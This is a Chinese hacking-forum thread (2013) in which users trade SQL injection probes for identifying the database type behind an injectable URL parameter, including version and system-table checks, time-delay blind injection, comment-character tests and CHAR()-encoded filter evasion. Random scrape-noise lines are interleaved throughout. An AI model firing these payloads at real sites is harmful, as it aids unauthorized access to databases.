中国网络渗透测试联盟
标题:
一个注射点如何最快速确认是什么类型数据库
[打印本页]
作者:
admin
时间:
2013-2-11 09:54
标题:
一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库
. L: E; S! L. W0 D( ?5 D
xsser (十根阳具有长短!!) | 2013-02-05 12:36
, u# D8 K# B: J# e# U5 A/ ~4 N
假设这么一个注射点:
& o- F/ F& ?. w. w
show.html?id=2
6 J- J9 h/ g- n- K$ I1 B
mysql:id=2 and version()>0
+ i U1 k' E* ?1 j3 Y3 c
oracle:id=2 and '1'||'1'='11
% S) u H' y& C( n0 s
其他的欢迎补充
. J+ e( t. O9 d2 `+ S
1#
) O8 w" e, m2 v
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
+ `% B* r* }& y+ a* p/ Z
Access:
9 u9 _7 V% D! J
aNd aSc(cHr(97))=97
" u4 F" e* Q G: S& H$ @3 L1 W; G7 P
and exists(select id from MSysAccessObjects)
0 @* \% \+ g( y% ~% V
SQL Server:
! s2 O7 Z& s4 t* p8 s" ?
and exists(select id from sysobjects)
% f# Q1 B. Y6 O( [- A# S
and length(user)>0
, b8 y( x* ?4 |/ t3 {9 l/ Y
MySQL:
8 ]& N7 Y: ?) p7 @
and length(user())>0
# M, q |( A0 K, T) p& }+ L
2#
( o" _/ x0 B- }) G3 ?) v9 V) x
xsser (十根阳具有长短!!) | 2013-02-05 12:48
1 r0 E* k4 t& E" F+ I- D5 B
@upload 如果这些都不是呢…
9 D, C1 W6 Q+ r1 Y
3#
, V p% w) K: E* _6 N( ^
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
# X& C" v& s o
@xsser 不快速的,延时注入
3 Y& y" Y- T9 L: z
不知道这样写对不对
6 J0 e0 P$ A/ i, n B9 p9 |, r' I+ b
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
9 R& W2 K- o5 Y1 Y
mysql:id=2 and select benchmark(1e8,current_date());
4 H9 |! `' d" p" B# O
4#
- l ^7 P! @+ u4 A a4 ?
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
- @8 U4 k* R/ U4 R2 {
最快的貌似是看报错信息
& R0 M& R+ d3 ?+ V" `- l
oracle error
' V2 t" b9 |* |2 w# |, t9 M
mssql error
/ [+ K5 r' B! [& O& V
mysql error
1 O) A: C, f' o
5#
) _' t4 I3 {8 u* D! @$ x
Nimda (你们都是坏银~) | 2013-02-05 13:14
6 `5 w2 Z" m) f2 u' F' A
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
2 M( R" r8 L) T, [
6#
# b% j) P* Q# [# z. u
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
# T; p- {) G5 B0 @: l+ m; `* F7 I# n
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
; v4 H* W* P2 G. x- ?+ l$ P
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
0 X" E2 [- [2 c" J8 H1 \3 O" u3 P
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
6 t5 N1 J1 A' z' Q. i5 ~
7#
. ?6 T4 S& q- w& U
_Evil (HackEnd) | 2013-02-05 13:33
6 U) t1 W) e. |; F6 e! j; m/ E
PostgreSQL
* E# X; G( q* @5 Q) a( a
8#
" g% T. o* M# g% i2 `) \
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
- a0 A$ q7 {$ B" ]- v/ j+ c" Z
切换编码 and 1=1
: R6 B5 ~7 C) m8 P
oracle:
1 v7 o5 U, k' N4 o n b
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
7 _& E c7 {8 _2 h# F4 \ n
mssql:
- |# S/ O4 S+ t1 i* N
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
# D9 ^; K/ Y: u/ d- J5 Y- W
mysql:
4 Q' T7 {5 N' }- @6 k
CHAR(97, 110, 100, 32, 49, 61, 49)
3 ~6 G4 U- f2 T/ C
9#
! j, s6 n# l- T2 ]& Z3 ]( X
xsser (十根阳具有长短!!) | 2013-02-05 14:31
' q. d \8 H) L
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
6 l5 C2 q. U2 h* ?' J9 s$ t
10#
0 J4 l, L2 l( W' A {3 C
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
8 l" v1 g/ Q8 Q2 T. w
@xsser 是奇葩数据库类型的么?
( A) ], h' }' d0 r2 Y
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
$ m7 L; T$ B- o
1.是否可以使用特定的函数来判断,该数据库特有的
; w4 s! Q( f9 N! _8 c3 c3 k
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
8 R- V* U& U) @" E- F3 e
3.是否可以编码查询
. Z1 u c" t; \- F* r0 l
4.是否显可以利用错信息
6 f) R2 B- S+ q
5.是否存在数据库某些特性辅助判断
6 Y. J/ j. `! H0 R4 z8 H
个人见解
0 i" \& n* P3 f4 `/ B6 R- `. V
11#
8 M8 C3 c4 |8 X7 R3 C6 V" c
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
; \1 }1 }5 b* @( p( ^
已收藏,mssql可以直接看到错误提示的吧~
3 d& G5 N8 E( b; c; i& v
12#
6 O: ~0 S2 F( t2 j7 w5 M* \$ K# _
Passer_by | 2013-02-05 15:09
; [: N( z! S: g& H0 t0 Q- b, ^% m
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
2 Q, Q6 u' k9 G9 ?7 f0 i" e) K9 @8 t
from:
http://zone.wooyun.org/content/260
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2